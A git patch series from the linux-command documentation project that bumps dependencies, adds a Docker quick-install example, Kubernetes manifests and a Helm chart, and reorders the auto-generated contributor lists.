<49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 3 Sep 2024 15:24:22 +0800 Subject: [PATCH 0920/1019] chore(deps-dev): bump sqlite3 from 5.0.8 to 5.1.5 (#528) Bumps [sqlite3](https://github.com/TryGhost/node-sqlite3) from 5.0.8 to 5.1.5. - [Release notes](https://github.com/TryGhost/node-sqlite3/releases) - [Commits](https://github.com/TryGhost/node-sqlite3/compare/v5.0.8...v5.1.5) --- updated-dependencies: - dependency-name: sqlite3 dependency-type: direct:development ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index bceaab71802..4045d316e8b 100644 --- a/package.json +++ b/package.json @@ -33,7 +33,7 @@ "fs-extra": "~10.1.0", "markdown-to-html-cli": "~4.0.0", "sitemap-generator": "~8.5.1", - "sqlite3": "5.0.8", + "sqlite3": "5.1.5", "stylus": "~0.59.0", "uglify-js": "~3.17.0" }, From 7851b27f46d126cb59bb7bfd538e09e293e7edfc Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Tue, 3 Sep 2024 15:24:48 +0800 Subject: [PATCH 0921/1019] chore(deps): update dependency uglify-js to ~3.19.0 (#583) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 4045d316e8b..219e8a72373 100644 --- a/package.json +++ b/package.json @@ -35,7 +35,7 @@ "sitemap-generator": "~8.5.1", "sqlite3": "5.1.5", "stylus": "~0.59.0", - "uglify-js": "~3.17.0" + "uglify-js": "~3.19.0" }, "engines": { "node": ">=16.0.0" From 27374284c18165a06c44a59ad3dbe2663b849dc5 Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Tue, 3 Sep 2024 15:34:13 +0800 Subject: [PATCH 0922/1019] chore(deps): update dependency stylus to ~0.63.0 (#522) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 219e8a72373..8bba58fe3ac 100644 --- a/package.json +++ b/package.json @@ -34,7 +34,7 @@ "markdown-to-html-cli": "~4.0.0", "sitemap-generator": "~8.5.1", "sqlite3": "5.1.5", - "stylus": "~0.59.0", + "stylus": "~0.63.0", "uglify-js": "~3.19.0" }, "engines": { From cb46889491b405aef4704741e2a2e84634ffcda4 Mon Sep 17 00:00:00 2001 From: duzhuoshanwai <65448395+duzhuoshanwai@users.noreply.github.com> Date: Thu, 12 Sep 2024 21:36:11 +0800 Subject: [PATCH 0923/1019] doc: update docker.md (#603) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 添加新的安装方式 --- command/docker.md | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/command/docker.md b/command/docker.md index 7245dff9fde..5e293866f5e 100644 --- a/command/docker.md +++ b/command/docker.md @@ -37,6 +37,17 @@ sudo systemctl start docker ``` +```bash +# Docker官方提供的快速安装脚本 https://github.com/docker/docker-install +# 不建议在生产环境中使用 +curl -fsSL https://get.docker.com -o get-docker.sh +sudo sh ./get-docker.sh --dry-run + +# 使用systemctl设置开机启动 +sudo systemctl enable docker.service +sudo systemctl enable containerd.service +``` + ## 语法 ```shell From 6321537d9ffcf4300075c3ff58d19f7418199dd8 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 12 Sep 2024 13:36:43 +0000 Subject: [PATCH 0924/1019] doc: update README.md. --- README.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 0d517ea15ec..029e2a69740 100644 --- a/README.md +++ b/README.md @@ -266,13 +266,13 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. L 圆头圆脑 clay-wangzhi -烟草的香味 Glett -丛林意志 +烟草的香味 Jayin Tang +丛林意志 +Zijing Zhang Fubin Zhang __FresHmaN -Zijing Zhang 谈笑风生间 ernest dulltackle @@ -313,7 +313,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. linuxwd Ricardowang cole -myliwenbo +dufu miniwater noodles2hg nsnans From c50c19a78f070c420d6d2bd57333d9ce563df0b5 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 12 Sep 2024 13:36:44 +0000 Subject: [PATCH 0925/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 2eac794cb6d..58eb30f9304 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -11,13 +11,13 @@ L 圆头圆脑 clay-wangzhi -烟草的香味 Glett -丛林意志 +烟草的香味 Jayin Tang +丛林意志 +Zijing Zhang Fubin Zhang __FresHmaN -Zijing Zhang 谈笑风生间 ernest dulltackle @@ -58,7 +58,7 @@ linuxwd Ricardowang cole -myliwenbo +dufu miniwater noodles2hg nsnans From f4645362823b263cca816edd9854539afab83c26 Mon Sep 17 00:00:00 2001 From: will Date: Fri, 20 Sep 2024 13:19:35 +0800 Subject: [PATCH 0926/1019] chore: Add kubernetes deployment (#605) * add kubernetes deployment * add kubernetes deployment README * update deployment README * update deployment yaml --- deploy/yamls/README.md | 64 +++++++++++++++++++++++++++++++++ deploy/yamls/linux-command.yaml | 50 ++++++++++++++++++++++++++ 2 files changed, 114 insertions(+) create mode 100644 deploy/yamls/README.md create mode 100644 deploy/yamls/linux-command.yaml diff --git a/deploy/yamls/README.md b/deploy/yamls/README.md new file mode 100644 index 00000000000..f7fe3316f70 --- /dev/null +++ b/deploy/yamls/README.md @@ -0,0 +1,64 @@ +# 快速入门指南 + +本指南旨在帮助您在 Kubernetes 中部署基于 `wcjiang/linux-command` 镜像的 `linux-command` 应用。该应用提供了一套 `Deployment`，并通过 `Service` 对外暴露服务端口。 + +## 前提条件 + +- 已安装并配置好的 Kubernetes 集群 +- 安装并配置好的 `kubectl`，并连接至你的 Kubernetes 集群 + +## 安装步骤 + +我们将使用此存储库中的`kubectl`应用 YAML 文件，该文件将安装 `linux-command` 应用。 + +```bash +$ kubectl apply -f https://raw.githubusercontent.com/jaywcjlove/linux-command/master/deploy/yamls/linux-command.yaml +``` + +检查 `Deployment` 状态： + +```bash +$ kubectl get deployments -n linux-command +NAME READY UP-TO-DATE AVAILABLE AGE +linux-command 1/1 1 1 17m +``` + +你可以查看 `Pod` 的状态以确保其正常运行： + +```bash +$ kubectl get pods -n linux-command +NAME READY STATUS RESTARTS AGE +linux-command-fff454654-427zp 1/1 Running 0 12m +``` + +验证 `Service` 是否成功创建并获取暴露的端口： + +``` +$ kubectl get services -n linux-command +NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE +linux-command-service NodePort 10.96.2.225 9665:30204/TCP 18m +``` + +## 访问应用 + +通过获取 `NodePort` 的端口来访问应用。以下是获取 `NodePort` 服务信息的命令： + +``` +$ kubectl get svc linux-command-service -n linux-command +``` + +根据输出，使用 `EXTERNAL-IP:PORT` 访问服务。例如： + +``` +http://: +``` + +## 卸载应用 + +如果需要删除已部署的资源，可以按以下顺序操作： + +``` +kubectl delete -f linux-command.yaml +``` + +这将会清理所有创建的 Kubernetes 资源。 diff --git a/deploy/yamls/linux-command.yaml b/deploy/yamls/linux-command.yaml new file mode 100644 index 00000000000..bc7fd6abb44 --- /dev/null +++ b/deploy/yamls/linux-command.yaml @@ -0,0 +1,50 @@ +--- +apiVersion: v1 +kind: Namespace +metadata: + name: linux-command +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: linux-command + namespace: linux-command + labels: + app: linux-command +spec: + replicas: 1 + selector: + matchLabels: + app: linux-command + template: + metadata: + labels: + app: linux-command + spec: + containers: + - name: linux-command-container + image: wcjiang/linux-command:latest + imagePullPolicy: IfNotPresent + ports: + - containerPort: 3000 + resources: + requests: + cpu: "100m" + memory: "50Mi" + limits: + cpu: "100m" + memory: "50Mi" +--- +apiVersion: v1 +kind: Service +metadata: + name: linux-command-service + namespace: linux-command +spec: + selector: + app: linux-command + ports: + - protocol: TCP + port: 9665 + targetPort: 3000 + type: NodePort From 8e072074ca2f4ff33955b77216ee2185d87354d1 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 20 Sep 2024 05:20:07 +0000 Subject: [PATCH 0927/1019] doc: update README.md. --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 029e2a69740..957067ae295 100644 --- a/README.md +++ b/README.md @@ -326,12 +326,12 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. gedune gang.yang ecjtusbs +duzhuoshanwai dongpohezui Deny dayday cxalc Forever121 -c2ch Yidan Wang Wendy May 远方 @@ -364,6 +364,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. sfwwslm rexlin600 oliver +c2ch MinsonLee Marnm mwei From 3281700170ba24f83467bd89d7fea083b714f20c Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 20 Sep 2024 05:20:08 +0000 Subject: [PATCH 0928/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 58eb30f9304..ef252c950f0 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -71,12 +71,12 @@ gedune gang.yang ecjtusbs +duzhuoshanwai dongpohezui Deny dayday cxalc Forever121 -c2ch Yidan Wang Wendy May 远方 @@ -109,6 +109,7 @@ sfwwslm rexlin600 oliver +c2ch MinsonLee Marnm mwei From d85be58c782bde0f94b3fb4c8e527d9d1dc6d9b3 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 3 Sep 2024 18:53:00 +0800 Subject: [PATCH 0929/1019] doc: update command/iostat.md --- command/iostat.md | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/command/iostat.md b/command/iostat.md index 2c41ac779a5..b90088c5248 100644 --- a/command/iostat.md +++ b/command/iostat.md @@ -1,7 +1,12 @@ iostat === -iostat命令被用于监视系统输入输出设备和CPU的使用情况。它的特点是汇报磁盘活动统计情况，同时也会汇报出CPU使用情况。同vmstat一样，iostat也有一个弱点，就是它不能对某个进程进行深入分析，仅对系统的整体情况进行分析。 +监视系统输入输出设备和CPU的使用情况 + +## 补充说明 + +**iostat命令** 被用于监视系统输入输出设备和CPU的使用情况。它的特点是汇报磁盘活动统计情况，同时也会汇报出CPU使用情况。同vmstat一样，iostat也有一个弱点，就是它不能对某个进程进行深入分析，仅对系统的整体情况进行分析。 + iowait 指在一个采样周期内有百分之几的时间是属于以下情况：CPU处于空闲状态并且至少有一个未完成的磁盘IO请求。 ## 安装 iostat From 50b5782734189b8ad8990b5b56f97153e196577c Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Fri, 20 Sep 2024 13:23:05 +0800 Subject: [PATCH 0930/1019] chore: rename deploy/yamls -> k8s #605 --- {deploy/yamls => k8s}/README.md | 0 {deploy/yamls => k8s}/linux-command.yaml | 0 2 files changed, 0 insertions(+), 0 deletions(-) rename {deploy/yamls => k8s}/README.md (100%) rename {deploy/yamls => k8s}/linux-command.yaml (100%) diff --git a/deploy/yamls/README.md b/k8s/README.md similarity index 100% rename from deploy/yamls/README.md rename to k8s/README.md diff --git a/deploy/yamls/linux-command.yaml b/k8s/linux-command.yaml similarity index 100% rename from deploy/yamls/linux-command.yaml rename to k8s/linux-command.yaml From d82ca52f067ad06579902d3a3a18e44159d6961c Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Fri, 20 Sep 2024 19:21:04 +0800 Subject: [PATCH 0931/1019] doc: update k8s/README.md --- k8s/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/k8s/README.md b/k8s/README.md index f7fe3316f70..146392149aa 100644 --- a/k8s/README.md +++ b/k8s/README.md @@ -12,7 +12,7 @@ 我们将使用此存储库中的`kubectl`应用 YAML 文件，该文件将安装 `linux-command` 应用。 ```bash -$ kubectl apply -f https://raw.githubusercontent.com/jaywcjlove/linux-command/master/deploy/yamls/linux-command.yaml +$ kubectl apply -f https://raw.githubusercontent.com/jaywcjlove/linux-command/refs/heads/master/k8s/linux-command.yaml ``` 检查 `Deployment` 状态： From 9870dba05f36cb9656073cf58085376ba8030a42 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 20 Sep 2024 11:22:02 +0000 Subject: [PATCH 0932/1019] doc: update README.md. --- README.md | 107 +++++++++++++++++++++++++++--------------------------- 1 file changed, 54 insertions(+), 53 deletions(-) diff --git a/README.md b/README.md index 957067ae295..e2995e3f3b2 100644 --- a/README.md +++ b/README.md @@ -273,42 +273,41 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Zijing Zhang Fubin Zhang __FresHmaN -谈笑风生间 -ernest dulltackle +ernest +谈笑风生间 zyy2477 rgshare loverainye -James Wang -Lnkstls lavaicer SteveLauC +Lnkstls +James Wang +Qliangw Wang Yujia alfred -Qliangw 沙漠之子 Shell xhal VVatt gggwvg +BingCoke +Ein Verne +FunKeen +Pan, Wen-Ming +RichardLCD +Shan Chenyu +Xingwen Zhang +Xrtero +YEUNGCHIE Dazhuangw Alterem YH -YEUNGCHIE -Xrtero -Xingwen Zhang -Shan Chenyu -RichardLCD -Pan, Wen-Ming -FunKeen -BingCoke -Ein Verne -leo -kid1412621 -kassadin -juemuren4449 jqz3.tech -jcdj666 +juemuren4449 +kassadin +kid1412621 +leo lewis1573 linuxwd Ricardowang @@ -317,6 +316,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. miniwater noodles2hg nsnans +oliver +jcdj666 hululu1068 huangyao hotdogc1017 @@ -331,40 +332,39 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Deny dayday cxalc -Forever121 -Yidan Wang -Wendy May -远方 -谢民皆 -Kyofin -老犁 -继刚 -移动的红烧肉 -极简XksA -ReZero -Loofra -Wei Xu -尘埃 -孤城落寞 -七朔 +Mystic zyimm -zuixin369 -zoomdong -zodiac -zjlovezj -yanyx -Lingfeng Wang -weibk -UniqueDing -tutianyu101 -tangke -snovey -shuangcui -shc -sfwwslm +七朔 +孤城落寞 +尘埃 +Wei Xu +Loofra +ReZero +极简XksA +移动的红烧肉 +继刚 +老犁 +Kyofin +谢民皆 +远方 +Wendy May +Yidan Wang rexlin600 -oliver -c2ch +sfwwslm +shc +shuangcui +snovey +tangke +tutianyu101 +UniqueDing +weibk +will +Lingfeng Wang +yanyx +zjlovezj +zodiac +zoomdong +zuixin369 MinsonLee Marnm mwei @@ -395,6 +395,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Azroy Alan 0x_000 +Forever121 +c2ch brinkqiang bell azureology @@ -423,8 +425,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Rining Wu Ray Yee QinShower -Q.Ben Zheng -Mystic +Q.Ben Zheng 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From f6a17c0c577ea708d802e963c7c9ab3ae40e5a09 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 20 Sep 2024 11:22:03 +0000 Subject: [PATCH 0933/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 107 +++++++++++++++++++------------------- 1 file changed, 54 insertions(+), 53 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index ef252c950f0..80deae78548 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -18,42 +18,41 @@ Zijing Zhang Fubin Zhang __FresHmaN -谈笑风生间 -ernest dulltackle +ernest +谈笑风生间 zyy2477 rgshare loverainye -James Wang -Lnkstls lavaicer SteveLauC +Lnkstls +James Wang +Qliangw Wang Yujia alfred -Qliangw 沙漠之子 Shell xhal VVatt gggwvg +BingCoke +Ein Verne +FunKeen +Pan, Wen-Ming +RichardLCD +Shan Chenyu +Xingwen Zhang +Xrtero +YEUNGCHIE Dazhuangw Alterem YH -YEUNGCHIE -Xrtero -Xingwen Zhang -Shan Chenyu -RichardLCD -Pan, Wen-Ming -FunKeen -BingCoke -Ein Verne -leo -kid1412621 -kassadin -juemuren4449 jqz3.tech -jcdj666 +juemuren4449 +kassadin +kid1412621 +leo lewis1573 linuxwd Ricardowang @@ -62,6 +61,8 @@ miniwater noodles2hg nsnans +oliver +jcdj666 hululu1068 huangyao hotdogc1017 @@ -76,40 +77,39 @@ Deny dayday cxalc -Forever121 -Yidan Wang -Wendy May -远方 -谢民皆 -Kyofin -老犁 -继刚 -移动的红烧肉 -极简XksA -ReZero -Loofra -Wei Xu -尘埃 -孤城落寞 -七朔 +Mystic zyimm -zuixin369 -zoomdong -zodiac -zjlovezj -yanyx -Lingfeng Wang -weibk -UniqueDing -tutianyu101 -tangke -snovey -shuangcui -shc -sfwwslm +七朔 +孤城落寞 +尘埃 +Wei Xu +Loofra +ReZero +极简XksA +移动的红烧肉 +继刚 +老犁 +Kyofin +谢民皆 +远方 +Wendy May +Yidan Wang rexlin600 -oliver -c2ch +sfwwslm +shc +shuangcui +snovey +tangke +tutianyu101 +UniqueDing +weibk +will +Lingfeng Wang +yanyx +zjlovezj +zodiac +zoomdong +zuixin369 MinsonLee Marnm mwei @@ -140,6 +140,8 @@ Azroy Alan 0x_000 +Forever121 +c2ch brinkqiang bell azureology @@ -168,8 +170,7 @@ Rining Wu Ray Yee QinShower -Q.Ben Zheng -Mystic +Q.Ben Zheng

数据来源于 GitHub Contributors，使用action-contributors创建。 From 686f4452a14fd4fb02cf00dd0838d6b01004a195 Mon Sep 17 00:00:00 2001 From: will Date: Fri, 20 Sep 2024 19:25:45 +0800 Subject: [PATCH 0934/1019] chore: add helm charts (#606) * add helm charts * update README --- deploy/helm/charts/linux-command/.helmignore | 23 +++++++ deploy/helm/charts/linux-command/Chart.yaml | 21 +++++++ deploy/helm/charts/linux-command/README.md | 44 +++++++++++++ .../linux-command/templates/_helpers.tpl | 62 +++++++++++++++++++ .../linux-command/templates/deployment.yaml | 32 ++++++++++ .../linux-command/templates/service.yaml | 13 ++++ deploy/helm/charts/linux-command/values.yaml | 20 ++++++ 7 files changed, 215 insertions(+) create mode 100644 deploy/helm/charts/linux-command/.helmignore create mode 100644 deploy/helm/charts/linux-command/Chart.yaml create mode 100644 deploy/helm/charts/linux-command/README.md create mode 100644 deploy/helm/charts/linux-command/templates/_helpers.tpl create mode 100644 deploy/helm/charts/linux-command/templates/deployment.yaml create mode 100644 deploy/helm/charts/linux-command/templates/service.yaml create mode 100644 deploy/helm/charts/linux-command/values.yaml diff --git a/deploy/helm/charts/linux-command/.helmignore b/deploy/helm/charts/linux-command/.helmignore new file mode 100644 index 00000000000..0e8a0eb36f4 --- /dev/null +++ b/deploy/helm/charts/linux-command/.helmignore @@ -0,0 +1,23 @@ +# Patterns to ignore when building packages. +# This supports shell glob matching, relative path matching, and +# negation (prefixed with !). Only one pattern per line. +.DS_Store +# Common VCS dirs +.git/ +.gitignore +.bzr/ +.bzrignore +.hg/ +.hgignore +.svn/ +# Common backup files +*.swp +*.bak +*.tmp +*.orig +*~ +# Various IDEs +.project +.idea/ +*.tmproj +.vscode/ diff --git a/deploy/helm/charts/linux-command/Chart.yaml b/deploy/helm/charts/linux-command/Chart.yaml new file mode 100644 index 00000000000..62db357f2ec --- /dev/null +++ b/deploy/helm/charts/linux-command/Chart.yaml @@ -0,0 +1,21 @@ +apiVersion: v2 +name: linux-command +description: A Helm chart for Kubernetes +# A chart can be either an 'application' or a 'library' chart. +# +# Application charts are a collection of templates that can be packaged into versioned archives +# to be deployed. +# +# Library charts provide useful utilities or functions for the chart developer. They're included as +# a dependency of application charts to inject those utilities and functions into the rendering +# pipeline. Library charts do not define any templates and therefore cannot be deployed. +type: application +# This is the chart version. This version number should be incremented each time you make changes +# to the chart and its templates, including the app version. +# Versions are expected to follow Semantic Versioning (https://semver.org/) +version: 0.1.0 +# This is the version number of the application being deployed. This version number should be +# incremented each time you make changes to the application. Versions are not expected to +# follow Semantic Versioning. They should reflect the version the application is using. +# It is recommended to use it with quotes. +appVersion: "0.1.0" diff --git a/deploy/helm/charts/linux-command/README.md b/deploy/helm/charts/linux-command/README.md new file mode 100644 index 00000000000..042c4695a6b --- /dev/null +++ b/deploy/helm/charts/linux-command/README.md @@ -0,0 +1,44 @@ +# linux-command + +linux-command 的 Helm 图表。该图表使用 Helm 软件包管理器在 Kubernetes 集群上引导部署 linux-command。 + +## 安装 Chart + +``` +$ helm install linux-command ./linux-command --namespace linux-command --create-namespace +``` + +## 卸载 Chart + +``` +$ helm -n linux-command uninstall linux-command +``` + +这会删除与图表相关的所有 Kubernetes 组件，并删除发布。 + +## 配置参数 + +下表列出了 linux-command 图表的可配置参数及其默认值。 + +| Key | Type | Default | Description | +| ------------------------------------------------------------ | ------ | ------------------------- | ----------- | +| linuxCommand.linuxCommandContainer.image.repository | string | `"wcjiang/linux-command"` | | +| linuxCommand.linuxCommandContainer.image.tag | string | `"latest"` | | +| linuxCommand.linuxCommandContainer.imagePullPolicy | string | `"IfNotPresent"` | | +| linuxCommand.linuxCommandContainer.resources.limits.cpu | string | `"100m"` | | +| linuxCommand.linuxCommandContainer.resources.limits.memory | string | `"50Mi"` | | +| linuxCommand.linuxCommandContainer.resources.requests.cpu | string | `"100m"` | | +| linuxCommand.linuxCommandContainer.resources.requests.memory | string | `"50Mi"` | | +| linuxCommand.replicas | int | `1` | | +| service.ports[0].port | int | `9665` | | +| service.ports[0].protocol | string | `"TCP"` | | +| service.ports[0].targetPort | int | `3000` | | +| service.type | string | `"NodePort"` | | + +使用`-set key=value[,key=value]`参数为`helm install`指定每个参数。 + +或者，也可以在安装图表时提供指定参数值的 YAML 文件。例如 + +``` +helm install -f values.yaml ./linux-command +``` diff --git a/deploy/helm/charts/linux-command/templates/_helpers.tpl b/deploy/helm/charts/linux-command/templates/_helpers.tpl new file mode 100644 index 00000000000..68cb3b48b25 --- /dev/null +++ b/deploy/helm/charts/linux-command/templates/_helpers.tpl @@ -0,0 +1,62 @@ +{{/* +Expand the name of the chart. +*/}} +{{- define "linux-command.name" -}} +{{- default .Chart.Name .Values.nameOverride | trunc 63 | trimSuffix "-" }} +{{- end }} + +{{/* +Create a default fully qualified app name. +We truncate at 63 chars because some Kubernetes name fields are limited to this (by the DNS naming spec). +If release name contains chart name it will be used as a full name. +*/}} +{{- define "linux-command.fullname" -}} +{{- if .Values.fullnameOverride }} +{{- .Values.fullnameOverride | trunc 63 | trimSuffix "-" }} +{{- else }} +{{- $name := default .Chart.Name .Values.nameOverride }} +{{- if contains $name .Release.Name }} +{{- .Release.Name | trunc 63 | trimSuffix "-" }} +{{- else }} +{{- printf "%s-%s" .Release.Name $name | trunc 63 | trimSuffix "-" }} +{{- end }} +{{- end }} +{{- end }} + +{{/* +Create chart name and version as used by the chart label. +*/}} +{{- define "linux-command.chart" -}} +{{- printf "%s-%s" .Chart.Name .Chart.Version | replace "+" "_" | trunc 63 | trimSuffix "-" }} +{{- end }} + +{{/* +Common labels +*/}} +{{- define "linux-command.labels" -}} +helm.sh/chart: {{ include "linux-command.chart" . }} +{{ include "linux-command.selectorLabels" . }} +{{- if .Chart.AppVersion }} +app.kubernetes.io/version: {{ .Chart.AppVersion | quote }} +{{- end }} +app.kubernetes.io/managed-by: {{ .Release.Service }} +{{- end }} + +{{/* +Selector labels +*/}} +{{- define "linux-command.selectorLabels" -}} +app.kubernetes.io/name: {{ include "linux-command.name" . }} +app.kubernetes.io/instance: {{ .Release.Name }} +{{- end }} + +{{/* +Create the name of the service account to use +*/}} +{{- define "linux-command.serviceAccountName" -}} +{{- if .Values.serviceAccount.create }} +{{- default (include "linux-command.fullname" .) .Values.serviceAccount.name }} +{{- else }} +{{- default "default" .Values.serviceAccount.name }} +{{- end }} +{{- end }} diff --git a/deploy/helm/charts/linux-command/templates/deployment.yaml b/deploy/helm/charts/linux-command/templates/deployment.yaml new file mode 100644 index 00000000000..fbfc1318671 --- /dev/null +++ b/deploy/helm/charts/linux-command/templates/deployment.yaml @@ -0,0 +1,32 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: {{ include "linux-command.fullname" . }}-linux-command + labels: + app: linux-command + {{- include "linux-command.labels" . | nindent 4 }} +spec: + replicas: {{ .Values.linuxCommand.replicas }} + selector: + matchLabels: + app: linux-command + {{- include "linux-command.selectorLabels" . | nindent 6 }} + template: + metadata: + labels: + app: linux-command + {{- include "linux-command.selectorLabels" . | nindent 8 }} + spec: + containers: + - env: + - name: KUBERNETES_CLUSTER_DOMAIN + value: {{ quote .Values.kubernetesClusterDomain }} + image: {{ .Values.linuxCommand.linuxCommandContainer.image.repository }}:{{ .Values.linuxCommand.linuxCommandContainer.image.tag + | default .Chart.AppVersion }} + imagePullPolicy: {{ .Values.linuxCommand.linuxCommandContainer.imagePullPolicy + }} + name: linux-command-container + ports: + - containerPort: 3000 + resources: {{- toYaml .Values.linuxCommand.linuxCommandContainer.resources | nindent + 10 }} \ No newline at end of file diff --git a/deploy/helm/charts/linux-command/templates/service.yaml b/deploy/helm/charts/linux-command/templates/service.yaml new file mode 100644 index 00000000000..4f5faa02ee7 --- /dev/null +++ b/deploy/helm/charts/linux-command/templates/service.yaml @@ -0,0 +1,13 @@ +apiVersion: v1 +kind: Service +metadata: + name: {{ include "linux-command.fullname" . }}-service + labels: + {{- include "linux-command.labels" . | nindent 4 }} +spec: + type: {{ .Values.service.type }} + selector: + app: linux-command + {{- include "linux-command.selectorLabels" . | nindent 4 }} + ports: + {{- .Values.service.ports | toYaml | nindent 2 }} diff --git a/deploy/helm/charts/linux-command/values.yaml b/deploy/helm/charts/linux-command/values.yaml new file mode 100644 index 00000000000..5b449e33bcb --- /dev/null +++ b/deploy/helm/charts/linux-command/values.yaml @@ -0,0 +1,20 @@ +linuxCommand: + linuxCommandContainer: + image: + repository: wcjiang/linux-command + tag: latest + imagePullPolicy: IfNotPresent + resources: + limits: + cpu: 100m + memory: 50Mi + requests: + cpu: 100m + memory: 50Mi + replicas: 1 +service: + ports: + - port: 9665 + protocol: TCP + targetPort: 3000 + type: NodePort From fc97de6b4433b48915e86ba478ef22718b5e18bd Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 20 Sep 2024 11:26:34 +0000 Subject: [PATCH 0935/1019] doc: update README.md. --- README.md | 72 +++++++++++++++++++++++++++---------------------------- 1 file changed, 36 insertions(+), 36 deletions(-) diff --git a/README.md b/README.md index e2995e3f3b2..0c9bfce4a34 100644 --- a/README.md +++ b/README.md @@ -289,6 +289,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. 沙漠之子 Shell xhal +will VVatt gggwvg BingCoke @@ -303,6 +304,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Dazhuangw Alterem YH +jcdj666 jqz3.tech juemuren4449 kassadin @@ -316,8 +318,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. miniwater noodles2hg nsnans -oliver -jcdj666 hululu1068 huangyao hotdogc1017 @@ -332,39 +332,40 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Deny dayday cxalc -Mystic -zyimm -七朔 -孤城落寞 -尘埃 -Wei Xu -Loofra -ReZero -极简XksA -移动的红烧肉 -继刚 -老犁 -Kyofin -谢民皆 -远方 -Wendy May +Forever121 Yidan Wang -rexlin600 -sfwwslm -shc -shuangcui -snovey -tangke -tutianyu101 -UniqueDing -weibk -will -Lingfeng Wang -yanyx -zjlovezj -zodiac -zoomdong +Wendy May +远方 +谢民皆 +Kyofin +老犁 +继刚 +移动的红烧肉 +极简XksA +ReZero +Loofra +Wei Xu +尘埃 +孤城落寞 +七朔 +zyimm zuixin369 +zoomdong +zodiac +zjlovezj +yanyx +Lingfeng Wang +weibk +UniqueDing +tutianyu101 +tangke +snovey +shuangcui +shc +sfwwslm +rexlin600 +oliver +c2ch MinsonLee Marnm mwei @@ -395,8 +396,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Azroy Alan 0x_000 -Forever121 -c2ch brinkqiang bell azureology @@ -425,7 +424,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Rining Wu Ray Yee QinShower -Q.Ben Zheng +Q.Ben Zheng +Mystic 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From a727bb37dbfe5d14c27a6d5857a9ab64fc3e435b Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 20 Sep 2024 11:26:35 +0000 Subject: [PATCH 0936/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 72 +++++++++++++++++++-------------------- 1 file changed, 36 insertions(+), 36 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 80deae78548..3c6664e164b 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -34,6 +34,7 @@ 沙漠之子 Shell xhal +will VVatt gggwvg BingCoke @@ -48,6 +49,7 @@ Dazhuangw Alterem YH +jcdj666 jqz3.tech juemuren4449 kassadin @@ -61,8 +63,6 @@ miniwater noodles2hg nsnans -oliver -jcdj666 hululu1068 huangyao 